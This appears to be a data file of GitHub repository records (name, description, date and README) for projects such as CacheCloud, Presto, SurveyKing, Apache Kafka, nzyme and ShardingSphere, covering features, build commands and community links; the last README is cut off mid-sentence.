_String Interpolation_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-strings)<br> [Manifold : _(Un)checked Exceptions_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-exceptions)<br> [Manifold : _Preprocessor_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-preprocessor)<br> [Manifold : _Science_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-science)<br> [Manifold : _Collections_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-collections)<br> [Manifold : _I/0_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-io)<br> [Manifold : _Text_](https://github.com/manifold-systems/manifold/tree/master/manifold-deps-parent/manifold-text)<br> >Experiment with sample projects:<br> >* [Manifold : _Sample App_](https://github.com/manifold-systems/manifold-sample-project)<br> >* [Manifold : _Sample SQL App_](https://github.com/manifold-systems/manifold-sql-sample-project)<br> >* [Manifold : _Sample GraphQL App_](https://github.com/manifold-systems/manifold-sample-graphql-app)<br> >* [Manifold : _Sample REST API App_](https://github.com/manifold-systems/manifold-sample-rest-api)<br> >* [Manifold : _Sample Web App_](https://github.com/manifold-systems/manifold-sample-web-app) >* [Manifold : _Gradle Example Project_](https://github.com/manifold-systems/manifold-simple-gradle-project) >* [Manifold : _Sample Kotlin App_](https://github.com/manifold-systems/manifold-sample-kotlin-app) ## Platforms Manifold supports: * Java SE (8 - 21) * [Android](http://manifold.systems/android.html) * [Kotlin](http://manifold.systems/kotlin.html) (limited) Comprehensive IDE support is also available for IntelliJ IDEA and Android Studio. ## [Chat](https://join.slack.com/t/manifold-group/shared_invite/zt-e0bq8xtu-93ASQa~a8qe0KDhOoD6Bgg) Join our [Slack Group](https://join.slack.com/t/manifold-group/shared_invite/zt-e0bq8xtu-93ASQa~a8qe0KDhOoD6Bgg) to start a discussion, ask questions, provide feedback, etc. Someone is usually there to help. <br>
0
sohutv/cachecloud
搜狐视频(sohu tv)Redis私有云平台 :支持Redis多种架构(Standalone、Sentinel、Cluster)高效管理、有效降低大规模redis运维成本,提升资源管控能力和利用率。平台提供快速搭建/迁移,运维管理,弹性伸缩,统计监控,客户端整合接入等功能。(CacheCloud is a Redis cloud management platform. It supports Standalone, Sentinel, and Cluster architectures for Redis, effectively reducing large-scale Redis operation and maintenance costs, and improving resource management and utilization. The platform provides rapid construction/migration, operation and maintenance management, elastic scaling, statistical monitoring, client integration and access and other functions)
2016-01-26T05:46:01Z
null
[中文](README_CN.md) | [EN](README_EN.md) ![cachecloud云平台](cachecloud-web/src/main/resources/static/img/readme/cachecloud-head.png) [![CI checks on main badge]][CI checks on main link] [![latest release badge]][latest release link] [![github stars badge]][github stars link] [![github forks badge]][github forks link] [![github open issues badge]][github open issues link] [![github open prs badge]][github open prs link] [![latest commit to main badge]][latest commit to main link] [CI checks on main badge]: https://flat.badgen.net/github/checks/sohutv/cachecloud/main?label=CI%20status%20on%20main&cache=900&icon=github [CI checks on main link]:https://github.com/sohutv/cachecloud/actions?query=branch%3Amain [github forks badge]: https://flat.badgen.net/github/forks/sohutv/cachecloud?icon=github [github forks link]: https://useful-forks.github.io/?repo=sohutv%2Fcachecloud [github open issues badge]: https://flat.badgen.net/github/open-issues/sohutv/cachecloud?icon=github [github open issues link]: https://github.com/sohutv/cachecloud/issues?q=is%3Aissue+is%3Aopen [github open prs badge]: https://flat.badgen.net/github/open-prs/sohutv/cachecloud?icon=github [github open prs link]: https://github.com/sohutv/cachecloud/pulls?q=is%3Apr+is%3Aopen [github stars badge]: https://flat.badgen.net/github/stars/sohutv/cachecloud?icon=github [github stars link]: https://github.com/sohutv/cachecloud/stargazers [latest commit to main badge]: https://flat.badgen.net/github/last-commit/sohutv/cachecloud/main?icon=github&color=yellow&label=last%20dev%20commit&cache=900 [latest commit to main link]: https://github.com/sohutv/cachecloud/commits/main [latest release badge]: https://flat.badgen.net/github/release/sohutv/cachecloud/development?icon=github [latest release link]: https://github.com/sohutv/cachecloud/releases <div align="center"> <h2>CacheCloud云平台</h2> <a href="https://github.com/sohutv/cachecloud/blob/main/cachecloud-web/src/main/resources/static/wiki/quickstart/index.md">Quickstart</a> <span>&nbsp;&nbsp;•&nbsp;&nbsp;</span> <a href="https://github.com/sohutv/cachecloud/blob/main/cachecloud-web/src/main/resources/static/wiki/access/client.md">Client</a> <span>&nbsp;&nbsp;•&nbsp;&nbsp;</span> <a href="https://github.com/sohutv/cachecloud/wiki">Docs</a> <span>&nbsp;&nbsp;•&nbsp;&nbsp;</span> <a href="https://github.com/sohutv/cachecloud/wiki#%E5%85%ADfaq%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98">FAQ</a> <span>&nbsp;&nbsp;•&nbsp;&nbsp;</span> <a href="http://43.137.44.6:8080/admin/app/list">Demo</a> <span>&nbsp;&nbsp;•&nbsp;&nbsp;</span> <a href="https://github.com/sohutv/cachecloud/issues/289">Feedback</a> <span>&nbsp;&nbsp;•&nbsp;&nbsp;</span> <a href="https://github.com/sohutv/cachecloud#contact">Contact</a> <hr /> </div> ## CacheCloud是什么? CacheCloud是一个Redis云管理平台:支持Redis多种架构(Standalone、Sentinel、Cluster)高效管理、有效降低大规模redis运维成本,提升资源管控能力和利用率。平台提供快速搭建/迁移,运维管理,弹性伸缩,统计监控,客户端整合接入等功能。 <img src="cachecloud-web/src/main/resources/static/img/readme/cachecloud-info.png" width="100%"/> ## CacheCloud功能架构 + Redis搭建:宿主环境初始化、实例部署安装、类型架构支持; + 运维管理:宿主环境、资源管理、应用审计、应用运维、质量监控、诊断分析; + 统计监控:日志采集、实例采集、机器采集、应用统计、监控告警、问题诊断; + 客户端接入:SDK接入、语言接入、客户端监控; + 弹性伸缩:资源收缩、应用伸缩、外部接入; <img src="cachecloud-web/src/main/resources/static/img/readme/CacheCloud功能架构.png" width="100%"/> <a name="cc4"/> ## CacheCloud使用规模 + 800亿+ commands/day + 18T+ Memory Total + 420+ app Total / 4800+ Instances Total + 80+ Physical machine/ 360+ K8s Pod Total <a name="cc5"/> ## CacheCloud VS 云厂商 <img src="cachecloud-web/src/main/resources/static/img/readme/sentinel-cost.png" width="50%"/><img src="cachecloud-web/src/main/resources/static/img/readme/cluster-cost.png" width="50%"/> <div align="center">Redis 主从/集群部署成本</div> ## 贡献成员 <a href="https://github.com/sohutv/cachecloud/graphs/contributors"> <img src="https://contrib.rocks/image?repo=sohutv/cachecloud" /> </a> ## 感谢支持者 ![Stargazers repo roster for @sohutv/cachecloud](https://bytecrank.com/nastyox/reporoster/php/stargazersSVG.php?user=sohutv&repo=cachecloud) ![Forkers repo roster for @sohutv/cachecloud](https://bytecrank.com/nastyox/reporoster/php/forkersSVG.php?user=sohutv&repo=cachecloud) <a name="contact"/> ## 联系我们 + QQ群: 534429768(已满) / 2群:894022242 / 3群:908821300 + 微信群: <img src="http://photocdn.tv.sohu.com/img/cachecloud/weixin.jpg" width="30%"/> <img src="cachecloud-web/src/main/resources/static/img/readme/subcribe.png" width="30%"/> + 微信:如果大家有公网资源可以联系我,会加入到开源版本服务资源部署试用,提高大家的用户体验。 <img src="cachecloud-web/src/main/resources/static/img/readme/wechat.png" width="30%"/> 如果你觉得CacheCloud对你有帮助,欢迎Star⭐。
0
prestodb/presto
The official home of the Presto distributed SQL query engine for big data
2012-08-09T01:03:37Z
null
# Presto Presto is a distributed SQL query engine for big data. See the [User Manual](https://prestodb.github.io/docs/current/) for deployment instructions and end user documentation. ## Contributing! Please refer to the [contribution guidelines](https://github.com/prestodb/presto/blob/master/CONTRIBUTING.md) to get started ## Questions? [Please join our Slack channel and ask in `#dev`](https://communityinviter.com/apps/prestodb/prestodb).
0
javahuang/SurveyKing
Make a better survey system.
2021-09-06T13:34:14Z
null
# 卷王 简体中文 | [English](./README.en-us.md) ## 功能最强大的调查问卷系统和考试系统 [点击](https://wj.surveyking.cn/s/start)卷王问卷考试系统-快速开始 需要您的 star ⭐️⭐️⭐️ 支持鼓励 🙏🙏🙏,**右上角点 Star (非强制)加QQ群(1074277968)获取最新的数据库脚本**。 ## 快速开始(一键部署) ### 🚀 1 分钟快速体验调查问卷系统(无需安装数据库) 1. 下载卷王快速体验安装包(加群) 2. 解压,双击运行 start.bat 3. 打开浏览器访问 [http://localhost:1991](http://localhost:1991),输入账号密码: *admin*/*123456* ### 一键 docker 部署 ```bash docker run -p 1991:1991 surveyking/surveyking ``` ## 特性 - 🥇 支持 20 多种题型,如填空、选择、下拉、级联、矩阵、分页、签名、题组、上传、[横向填空](https://wj.surveyking.cn/s/EMqvs7)等 - 🎉 多种创建问卷方式,Excel导入问卷、文本导入问卷、在线编辑器编辑问卷 - 💪 多种问卷设置,支持白名单答卷、公开查询、答卷限制等 - 🎇 数据,支持问卷数据新增、编辑、标记、导出、打印、预览和打包下载附件 - 🎨 报表,支持对问题实时统计分析并以图形(条形图、柱形图、扇形图)、表格的形式展示输出和导出 - 🚀 安装部署简单(**最快 1 分钟部署**),支持一键windows部署、一键docker部署、前后端分离部署、单jar部署、二级目录部署 - 🥊 响应式布局,所有页面完美适配电脑端和移动端(包含问卷编辑、设置、答卷) - 👬 支持多人协作管理问卷 - 🎁 后端支持多种数据库,可支持所有带有 jdbc 驱动的关系型数据库 - 🐯 安全、可靠、稳定、高性能的后端 API 服务 - 🙆 支持完善的 RBAC 权限控制 - 🦋 支持可视化配置问卷跳转和显示逻辑,以及通过公式实现自定义逻辑(卷王的逻辑设置比目前主流商业调查问卷系统强大的多) - **显示隐藏逻辑** - **值计算逻辑** 动态计算问题答案,从最简单的根据身高体重计算BMI,到复杂的根据多个问题答案组合逻辑和数值实现复杂的运算 - **文本替换逻辑** 动态显示题目内容 - **值校验逻辑** 可以根据其他问题答案来判断当前问题是否有效 - **必填逻辑** 动态判断当前问题是否必填 - **选项自动勾选逻辑** 根据其他问题和选项答案自动勾选 - **选项显示隐藏逻辑** 动态的显示或者隐藏选项 - **结束问卷逻辑** - **跳转逻辑** 动态跳转 - **结束问卷自定义提示语逻辑** 答卷后,可以根据问卷答案或者考试分数来显示不同的提示语信息 - **自定义跳转链接逻辑** 答卷后,可以根据问卷答案或者考试分数来跳转到不同的链接,且支持携带答案参数 - 🌈 支持选项唯一设置,多问卷数据关联查询、更新和删除,考试自动算分,自定义提示语,自定义跳转链接等等 ## 问卷产品对比 | | 问卷网 | 腾讯问卷 | 问卷星 | 金数据 | 卷王 | | --------------- | ------ | -------- | ------ | ------ | ---- | | 问卷调查 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | | 在线考试 | ✔️ | ❌ | ✔️ | ✔️ | ✔️ | | 投票 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | | 支持题型 | 🥇 | 🥉 | 🥇 | 🥈 | 🥈 | | 题型设置 | 🥇 | 🥉 | 🥇 | 🥇 | 🥇 | | 自动计算 | ❌ | ❌ | 🥉 | 🥈 | 🥇 | | 逻辑设置 | 🥈 | 🥈 | 🥈 | 🥈 | 🥇 | | 自定义校验 | ❌ | ❌ | ❌ | ❌ | ✔️ | | 自定义导出 | 🥈 | ❌ | ❌ | 🥉 | 🥇 | | 手机端编辑 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | | 公开查询(快查) | ✔️ | ❌ | ✔️ | ❌ | ✔️ | | 私有部署 | 💰💰💰 | 💰💰💰 | 💰💰💰 | 💰💰💰 | 🆓 | 注: 上表与卷王对比的全部是商业问卷产品,他们有很多地方值得卷王学习,仅列出部分主要功能供大家参考,如果对结果有疑问,可以点击对应产品的链接自行对比体验。 🥇强 🥈中 🥉弱 ## 友情推荐 [专注于中台化架构的低代码生成工具](https://gitee.com/orangeform/orange-admin) ## 预览截图 * 考试系统预览 <table> <tr> <td><img src="docs/images/exam-editor.jpg"/></td> <td><img src="docs/images/exam-import.jpg"/></td> </tr> <tr> <td><img src="docs/images/exam-pc-prev.jpg"/></td> <td><img src="docs/images/exam-mb-preview.jpeg"/></td> </tr> <tr> <td><img src="docs/images/exam-repo-list.jpg"/></td> <td><img src="docs/images/exam-repo-pick.jpg"/></td> </tr> <tr> <td><img src="docs/images/exam-repo-qedit.jpg"/></td> <td><img src="docs/images/exam-repo.jpg"/></td> </tr> </table> * 调查问卷预览 <table> <tr> <td><img src="docs/images/survey-editor.jpg"/></td> <td><img src="docs/images/survey-editor-formula.jpg"/></td> </tr> <tr> <td><img src="docs/images/survey-editor-preview.jpg"/></td> <td><img src="docs/images/survey-imp.jpg"/></td> </tr> <tr> <td><img src="docs/images/survey-export.jpg"/></td> <td><img src="docs/images/survey-exp-preview.jpg"/></td> </tr> <tr> <td><img src="docs/images/survey-exp-formula.jpg"/></td> <td><img src="docs/images/survey-formula.jpg"/></td> </tr> <tr> <td><img src="docs/images/survey-editor-preview.jpg"/></td> <td><img src="docs/images/survey-prev-mbmi.jpeg"/></td> </tr> <tr> <td><img src="docs/images/survey-report.jpg"/></td> <td><img src="docs/images/survey-setting.jpg"/></td> </tr> <tr> <td><img src="docs/images/survey-sys.jpg"/></td> <td><img src="docs/images/survey-post.jpg"/></td> </tr> </table>
0
apache/kafka
Mirror of Apache Kafka
2011-08-15T18:06:16Z
null
Apache Kafka ================= See our [web site](https://kafka.apache.org) for details on the project. You need to have [Java](http://www.oracle.com/technetwork/java/javase/downloads/index.html) installed. We build and test Apache Kafka with Java 8, 11, 17 and 21. We set the `release` parameter in javac and scalac to `8` to ensure the generated binaries are compatible with Java 8 or higher (independently of the Java version used for compilation). Java 8 support project-wide has been deprecated since Apache Kafka 3.0, Java 11 support for the broker and tools has been deprecated since Apache Kafka 3.7 and removal of both is planned for Apache Kafka 4.0 ( see [KIP-750](https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=181308223) and [KIP-1013](https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=284789510) for more details). Scala 2.12 and 2.13 are supported and 2.13 is used by default. Scala 2.12 support has been deprecated since Apache Kafka 3.0 and will be removed in Apache Kafka 4.0 (see [KIP-751](https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=181308218) for more details). See below for how to use a specific Scala version or all of the supported Scala versions. ### Build a jar and run it ### ./gradlew jar Follow instructions in https://kafka.apache.org/quickstart ### Build source jar ### ./gradlew srcJar ### Build aggregated javadoc ### ./gradlew aggregatedJavadoc ### Build javadoc and scaladoc ### ./gradlew javadoc ./gradlew javadocJar # builds a javadoc jar for each module ./gradlew scaladoc ./gradlew scaladocJar # builds a scaladoc jar for each module ./gradlew docsJar # builds both (if applicable) javadoc and scaladoc jars for each module ### Run unit/integration tests ### ./gradlew test # runs both unit and integration tests ./gradlew unitTest ./gradlew integrationTest ### Force re-running tests without code change ### ./gradlew test --rerun ./gradlew unitTest --rerun ./gradlew integrationTest --rerun ### Running a particular unit/integration test ### ./gradlew clients:test --tests RequestResponseTest ### Repeatedly running a particular unit/integration test ### I=0; while ./gradlew clients:test --tests RequestResponseTest --rerun --fail-fast; do (( I=$I+1 )); echo "Completed run: $I"; sleep 1; done ### Running a particular test method within a unit/integration test ### ./gradlew core:test --tests kafka.api.ProducerFailureHandlingTest.testCannotSendToInternalTopic ./gradlew clients:test --tests org.apache.kafka.clients.MetadataTest.testTimeToNextUpdate ### Running a particular unit/integration test with log4j output ### By default, there will be only small number of logs output while testing. You can adjust it by changing the `log4j.properties` file in the module's `src/test/resources` directory. For example, if you want to see more logs for clients project tests, you can modify [the line](https://github.com/apache/kafka/blob/trunk/clients/src/test/resources/log4j.properties#L21) in `clients/src/test/resources/log4j.properties` to `log4j.logger.org.apache.kafka=INFO` and then run: ./gradlew cleanTest clients:test --tests NetworkClientTest And you should see `INFO` level logs in the file under the `clients/build/test-results/test` directory. ### Specifying test retries ### By default, each failed test is retried once up to a maximum of five retries per test run. Tests are retried at the end of the test task. Adjust these parameters in the following way: ./gradlew test -PmaxTestRetries=1 -PmaxTestRetryFailures=5 See [Test Retry Gradle Plugin](https://github.com/gradle/test-retry-gradle-plugin) for more details. ### Generating test coverage reports ### Generate coverage reports for the whole project: ./gradlew reportCoverage -PenableTestCoverage=true -Dorg.gradle.parallel=false Generate coverage for a single module, i.e.: ./gradlew clients:reportCoverage -PenableTestCoverage=true -Dorg.gradle.parallel=false ### Building a binary release gzipped tar ball ### ./gradlew clean releaseTarGz The release file can be found inside `./core/build/distributions/`. ### Building auto generated messages ### Sometimes it is only necessary to rebuild the RPC auto-generated message data when switching between branches, as they could fail due to code changes. You can just run: ./gradlew processMessages processTestMessages ### Running a Kafka broker in KRaft mode Using compiled files: KAFKA_CLUSTER_ID="$(./bin/kafka-storage.sh random-uuid)" ./bin/kafka-storage.sh format -t $KAFKA_CLUSTER_ID -c config/kraft/server.properties ./bin/kafka-server-start.sh config/kraft/server.properties Using docker image: docker run -p 9092:9092 apache/kafka:3.7.0 ### Running a Kafka broker in ZooKeeper mode Using compiled files: ./bin/zookeeper-server-start.sh config/zookeeper.properties ./bin/kafka-server-start.sh config/server.properties >Since ZooKeeper mode is already deprecated and planned to be removed in Apache Kafka 4.0, the docker image only supports running in KRaft mode ### Cleaning the build ### ./gradlew clean ### Running a task with one of the Scala versions available (2.12.x or 2.13.x) ### *Note that if building the jars with a version other than 2.13.x, you need to set the `SCALA_VERSION` variable or change it in `bin/kafka-run-class.sh` to run the quick start.* You can pass either the major version (eg 2.12) or the full version (eg 2.12.7): ./gradlew -PscalaVersion=2.12 jar ./gradlew -PscalaVersion=2.12 test ./gradlew -PscalaVersion=2.12 releaseTarGz ### Running a task with all the scala versions enabled by default ### Invoke the `gradlewAll` script followed by the task(s): ./gradlewAll test ./gradlewAll jar ./gradlewAll releaseTarGz ### Running a task for a specific project ### This is for `core`, `examples` and `clients` ./gradlew core:jar ./gradlew core:test Streams has multiple sub-projects, but you can run all the tests: ./gradlew :streams:testAll ### Listing all gradle tasks ### ./gradlew tasks ### Building IDE project #### *Note that this is not strictly necessary (IntelliJ IDEA has good built-in support for Gradle projects, for example).* ./gradlew eclipse ./gradlew idea The `eclipse` task has been configured to use `${project_dir}/build_eclipse` as Eclipse's build directory. Eclipse's default build directory (`${project_dir}/bin`) clashes with Kafka's scripts directory and we don't use Gradle's build directory to avoid known issues with this configuration. ### Publishing the jar for all versions of Scala and for all projects to maven ### The recommended command is: ./gradlewAll publish For backwards compatibility, the following also works: ./gradlewAll uploadArchives Please note for this to work you should create/update `${GRADLE_USER_HOME}/gradle.properties` (typically, `~/.gradle/gradle.properties`) and assign the following variables mavenUrl= mavenUsername= mavenPassword= signing.keyId= signing.password= signing.secretKeyRingFile= ### Publishing the streams quickstart archetype artifact to maven ### For the Streams archetype project, one cannot use gradle to upload to maven; instead the `mvn deploy` command needs to be called at the quickstart folder: cd streams/quickstart mvn deploy Please note for this to work you should create/update user maven settings (typically, `${USER_HOME}/.m2/settings.xml`) to assign the following variables <settings xmlns="http://maven.apache.org/SETTINGS/1.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 https://maven.apache.org/xsd/settings-1.0.0.xsd"> ... <servers> ... <server> <id>apache.snapshots.https</id> <username>${maven_username}</username> <password>${maven_password}</password> </server> <server> <id>apache.releases.https</id> <username>${maven_username}</username> <password>${maven_password}</password> </server> ... </servers> ... ### Installing ALL the jars to the local Maven repository ### The recommended command to build for both Scala 2.12 and 2.13 is: ./gradlewAll publishToMavenLocal For backwards compatibility, the following also works: ./gradlewAll install ### Installing specific projects to the local Maven repository ### ./gradlew -PskipSigning=true :streams:publishToMavenLocal If needed, you can specify the Scala version with `-PscalaVersion=2.13`. ### Building the test jar ### ./gradlew testJar ### Running code quality checks ### There are two code quality analysis tools that we regularly run, spotbugs and checkstyle. #### Checkstyle #### Checkstyle enforces a consistent coding style in Kafka. You can run checkstyle using: ./gradlew checkstyleMain checkstyleTest The checkstyle warnings will be found in `reports/checkstyle/reports/main.html` and `reports/checkstyle/reports/test.html` files in the subproject build directories. They are also printed to the console. The build will fail if Checkstyle fails. #### Spotbugs #### Spotbugs uses static analysis to look for bugs in the code. You can run spotbugs using: ./gradlew spotbugsMain spotbugsTest -x test The spotbugs warnings will be found in `reports/spotbugs/main.html` and `reports/spotbugs/test.html` files in the subproject build directories. Use -PxmlSpotBugsReport=true to generate an XML report instead of an HTML one. ### JMH microbenchmarks ### We use [JMH](https://openjdk.java.net/projects/code-tools/jmh/) to write microbenchmarks that produce reliable results in the JVM. See [jmh-benchmarks/README.md](https://github.com/apache/kafka/blob/trunk/jmh-benchmarks/README.md) for details on how to run the microbenchmarks. ### Dependency Analysis ### The gradle [dependency debugging documentation](https://docs.gradle.org/current/userguide/viewing_debugging_dependencies.html) mentions using the `dependencies` or `dependencyInsight` tasks to debug dependencies for the root project or individual subprojects. Alternatively, use the `allDeps` or `allDepInsight` tasks for recursively iterating through all subprojects: ./gradlew allDeps ./gradlew allDepInsight --configuration runtimeClasspath --dependency com.fasterxml.jackson.core:jackson-databind These take the same arguments as the builtin variants. ### Determining if any dependencies could be updated ### ./gradlew dependencyUpdates ### Common build options ### The following options should be set with a `-P` switch, for example `./gradlew -PmaxParallelForks=1 test`. * `commitId`: sets the build commit ID as .git/HEAD might not be correct if there are local commits added for build purposes. * `mavenUrl`: sets the URL of the maven deployment repository (`file://path/to/repo` can be used to point to a local repository). * `maxParallelForks`: maximum number of test processes to start in parallel. Defaults to the number of processors available to the JVM. * `maxScalacThreads`: maximum number of worker threads for the scalac backend. Defaults to the lowest of `8` and the number of processors available to the JVM. The value must be between 1 and 16 (inclusive). * `ignoreFailures`: ignore test failures from junit * `showStandardStreams`: shows standard out and standard error of the test JVM(s) on the console. * `skipSigning`: skips signing of artifacts. * `testLoggingEvents`: unit test events to be logged, separated by comma. For example `./gradlew -PtestLoggingEvents=started,passed,skipped,failed test`. * `xmlSpotBugsReport`: enable XML reports for spotBugs. This also disables HTML reports as only one can be enabled at a time. * `maxTestRetries`: maximum number of retries for a failing test case. * `maxTestRetryFailures`: maximum number of test failures before retrying is disabled for subsequent tests. * `enableTestCoverage`: enables test coverage plugins and tasks, including bytecode enhancement of classes required to track said coverage. Note that this introduces some overhead when running tests and hence why it's disabled by default (the overhead varies, but 15-20% is a reasonable estimate). * `keepAliveMode`: configures the keep alive mode for the Gradle compilation daemon - reuse improves start-up time. The values should be one of `daemon` or `session` (the default is `daemon`). `daemon` keeps the daemon alive until it's explicitly stopped while `session` keeps it alive until the end of the build session. This currently only affects the Scala compiler, see https://github.com/gradle/gradle/pull/21034 for a PR that attempts to do the same for the Java compiler. * `scalaOptimizerMode`: configures the optimizing behavior of the scala compiler, the value should be one of `none`, `method`, `inline-kafka` or `inline-scala` (the default is `inline-kafka`). `none` is the scala compiler default, which only eliminates unreachable code. `method` also includes method-local optimizations. `inline-kafka` adds inlining of methods within the kafka packages. Finally, `inline-scala` also includes inlining of methods within the scala library (which avoids lambda allocations for methods like `Option.exists`). `inline-scala` is only safe if the Scala library version is the same at compile time and runtime. Since we cannot guarantee this for all cases (for example, users may depend on the kafka jar for integration tests where they may include a scala library with a different version), we don't enable it by default. See https://www.lightbend.com/blog/scala-inliner-optimizer for more details. ### Running system tests ### See [tests/README.md](tests/README.md). ### Running in Vagrant ### See [vagrant/README.md](vagrant/README.md). ### Contribution ### Apache Kafka is interested in building the community; we would welcome any thoughts or [patches](https://issues.apache.org/jira/browse/KAFKA). You can reach us [on the Apache mailing lists](http://kafka.apache.org/contact.html). To contribute follow the instructions here: * https://kafka.apache.org/contributing.html
0
nzymedefense/nzyme
Network Defense System.
2016-11-11T22:06:03Z
null
# nzyme - Network Defense System [![Codecov](https://img.shields.io/codecov/c/github/lennartkoopmann/nzyme.svg)](https://codecov.io/gh/lennartkoopmann/nzyme/) [![License](https://img.shields.io/badge/license-SSPL-brightgreen)](http://www.mongodb.com/licensing/server-side-public-license) Learn more at https://www.nzyme.org/. **Version 2.0.0 of nzyme is currently in development. The previous website for v1.x is archived [here](https://v1.nzyme.org/).** ## Contributing There are many ways to contribute and all community interaction is absolutely welcome: * Open an issue for any kind of bug you think you have found. * Open an issue for anything that was confusing to you. Bad, missing or confusing documentation is considered a bug. * Open a Pull Request for a new feature or a bugfix. It is a good idea to get in contact first to make sure that it fits the roadmap and has a chance to be merged. * Write documentation. * Write a blog post. * Help a user in the issue tracker or the IRC channel (#nzyme on FreeNode.) * Get in contact and say how you use it or what would be a cool addition. * Tell the world. Please be aware of the [Code of Conduct](CODE_OF_CONDUCT.md) that will be enforced across all channels and platforms. ## Legal notice Make sure to comply with local laws, especially with regards to wiretapping, when running nzyme. Note that nzyme is never decrypting any data but only reading unencrypted data.
0
elastic/elasticsearch
Free and Open, Distributed, RESTful Search Engine
2010-02-08T13:20:56Z
null
null
0
apache/shardingsphere
Distributed SQL transaction & query engine for data sharding, scaling, encryption, and more - on any database.
2016-01-18T12:49:26Z
null
## [Distributed SQL transaction & query engine for data sharding, scaling, encryption, and more - on any database.](https://shardingsphere.apache.org/) **Official Website:** [https://shardingsphere.apache.org/](https://shardingsphere.apache.org/) [![GitHub Release](https://img.shields.io/github/release/apache/shardingsphere.svg)](https://github.com/apache/shardingsphere/releases) [![Lines of Code](https://sonarcloud.io/api/project_badges/measure?project=apache_shardingsphere&metric=ncloc)](https://sonarcloud.io/summary/new_code?id=apache_shardingsphere) [![Quality Gate Status](https://sonarcloud.io/api/project_badges/measure?project=apache_shardingsphere&metric=alert_status)](https://sonarcloud.io/summary/new_code?id=apache_shardingsphere) [![Technical Debt](https://sonarcloud.io/api/project_badges/measure?project=apache_shardingsphere&metric=sqale_index)](https://sonarcloud.io/summary/new_code?id=apache_shardingsphere) [![Maintainability Rating](https://sonarcloud.io/api/project_badges/measure?project=apache_shardingsphere&metric=sqale_rating)](https://sonarcloud.io/summary/new_code?id=apache_shardingsphere) [![Security Rating](https://sonarcloud.io/api/project_badges/measure?project=apache_shardingsphere&metric=security_rating)](https://sonarcloud.io/summary/new_code?id=apache_shardingsphere) [![codecov](https://codecov.io/gh/apache/shardingsphere/branch/master/graph/badge.svg)](https://codecov.io/gh/apache/shardingsphere) [![OpenSSF Best Practices](https://bestpractices.coreinfrastructure.org/projects/5394/badge)](https://bestpractices.coreinfrastructure.org/projects/5394) [![Slack](https://img.shields.io/badge/%20Slack-ShardingSphere%20Channel-blueviolet)](https://join.slack.com/t/apacheshardingsphere/shared_invite/zt-sbdde7ie-SjDqo9~I4rYcR18bq0SYTg) [![Gitter](https://badges.gitter.im/shardingsphere/shardingsphere.svg)](https://gitter.im/shardingsphere/Lobby) [![Twitter](https://img.shields.io/twitter/url/https/twitter.com/ShardingSphere.svg?style=social&label=Follow%20%40ShardingSphere)](https://twitter.com/ShardingSphere) | **Stargazers Over Time** | **Contributors Over Time** | |:---------------------------------------------------------------------------------------------------------------------:|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------:| | [![Stargazers Over Time](https://starchart.cc/apache/shardingsphere.svg)](https://starchart.cc/apache/shardingsphere) | [![Contributor over time](https://contributor-graph-api.apiseven.com/contributors-svg?chart=contributorOverTime&repo=apache/shardingsphere)](https://www.apiseven.com/en/contributor-graph?chart=contributorOverTime&repo=apache/shardingsphere) | ### OVERVIEW <hr> Apache ShardingSphere is a distributed SQL transaction & query engine that allows for data sharding, scaling, encryption, and more - on any database. Our community's guiding development concept is Database Plus for creating a complete ecosystem that allows you to transform any database into a distributed database system. It focuses on repurposing existing databases, by placing a standardized upper layer above existing and fragmented databases, rather than creating a new database. The goal is to provide unified database services and minimize or eliminate the challenges caused by underlying databases' fragmentation. This results in applications only needing to communicate with a single standardized service. The concepts at the core of the project are `Connect`, `Enhance` and `Pluggable`. - `Connect:` Flexible adaptation of database protocol, SQL dialect and database storage. It can quickly connect applications and heterogeneous databases. - `Enhance:` Capture database access entry to provide additional features transparently, such as: redirect (sharding, readwrite-splitting and shadow), transform (data encrypt and mask), authentication (security, audit and authority), governance (circuit breaker and access limitation and analyze, QoS and observability). - `Pluggable:` Leveraging the micro kernel and 3 layers pluggable mode, features and database ecosystem can be embedded flexibly. Developers can customize their ShardingSphere just like building with LEGO blocks. ShardingSphere became an [Apache](https://apache.org/index.html#projects-list) Top-Level Project on April 16, 2020. So far, ShardingSphere has been used by over [10,000 projects on GitHub](https://github.com/search?l=Maven+POM&q=shardingsphere+language%3A%22Maven+POM%22&type=Code). ### DOCUMENTATION📜 <hr> [![EN doc](https://img.shields.io/badge/document-English-blue.svg)](https://shardingsphere.apache.org/document/current/en/overview/) [![CN doc](https://img.shields.io/badge/文档-中文版-blue.svg)](https://shardingsphere.apache.org/document/current/cn/overview/) For full documentation & more details, visit: [Docs](https://shardingsphere.apache.org/document/current/en/overview/) ### CONTRIBUTION🚀🧑💻 <hr> For guides on how to get started and setup your environment, contributor & committer guides, visit: [Contribution Guidelines](https://shardingsphere.apache.org/community/en/involved/) ### Team <hr> We deeply appreciate [community contributors](https://shardingsphere.apache.org/community/en/team) for their dedication to Apache ShardingSphere. ## ### COMMUNITY & SUPPORT💝🖤 <hr> :link: [Mailing List](https://shardingsphere.apache.org/community/en/involved/subscribe/). Best for: Apache community updates, releases, changes. :link: [GitHub Issues](https://github.com/apache/shardingsphere/issues). Best for: larger systemic questions/bug reports or anything development related. :link: [GitHub Discussions](https://github.com/apache/shardingsphere/discussions). Best for: technical questions & support, requesting new features, proposing new features. :link: [Slack channel](https://join.slack.com/t/apacheshardingsphere/shared_invite/zt-sbdde7ie-SjDqo9~I4rYcR18bq0SYTg). Best for: instant communications and online meetings, sharing your applications. :link: [Twitter](https://twitter.com/ShardingSphere). Best for: keeping up to date on everything ShardingSphere. :link: [LinkedIn](https://www.linkedin.com/showcase/apache-shardingsphere/e). Best for: professional networking and career 